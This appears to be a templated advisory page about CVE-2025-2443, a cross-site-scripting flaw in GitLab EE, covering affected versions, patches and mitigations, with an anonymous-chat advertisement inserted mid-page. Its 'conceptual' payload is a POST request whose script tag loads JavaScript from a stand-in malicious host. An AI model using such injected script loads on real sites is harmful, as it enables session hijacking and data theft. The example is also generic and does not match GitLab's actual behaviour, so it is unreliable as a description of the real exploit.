Overview
The software world is no stranger to vulnerabilities, and a new one has emerged in the form of CVE-2025-2443, a significant security flaw affecting GitLab Enterprise Edition (EE). The vulnerability allows potential attackers to carry out cross-site-scripting attacks and bypass the content security policy under specific conditions. This vulnerability is a significant concern for organizations using affected versions of GitLab EE, as it can facilitate system compromise or data leakages, presenting severe risks to data security and integrity.
Vulnerability Summary
CVE ID: CVE-2025-2443
Severity: High (8.7 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise or data leakage
Affected Products
Escape the Surveillance Era
Most apps won’t tell you the truth.
They’re part of the problem.
Phone numbers. Emails. Profiles. Logs.
It’s all fuel for surveillance.
Ameeba Chat gives you a way out.
- • No phone number
- • No email
- • No personal info
- • Anonymous aliases
- • End-to-end encrypted
Chat without a trace.
Product | Affected Versions
GitLab EE | 16.6 – 17.9.6
GitLab EE | 17.10.0 – 17.10.4
GitLab EE | 17.11.0
How the Exploit Works
The exploit takes advantage of a flaw in the handling of GitLab EE’s user-generated content, allowing the attacker to inject malicious scripts that can bypass the content security policy. When a victim interacts with the malicious content, the script executes within the user’s browser, leading to a successful cross-site-scripting attack. This exploit can be used to hijack user sessions, deface web pages, or redirect the user to malicious websites, potentially leading to system compromise or data leakage.
Conceptual Example Code
Below is a conceptual example of a malicious JavaScript payload that could exploit this vulnerability.
POST /user/posts HTTP/1.1
Host: vulnerable-gitlab-ee.com
Content-Type: application/json
{
"post": {
"content": "<script src='https://malicious-website.com/badscript.js'></script>"
}
}In this example, a malicious user posts content containing a script tag that references a malicious JavaScript file hosted on a separate website. When another user views this post, their browser will load and execute the malicious script.
Mitigation
The most effective way to mitigate this vulnerability is by applying the vendor-provided patch. GitLab has released patches for all affected versions: 17.9.7, 17.10.5, and 17.11.1. If immediate patching is not possible, organizations can implement a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary solution. However, these should not be seen as long-term solutions as they may not provide complete protection against the vulnerability.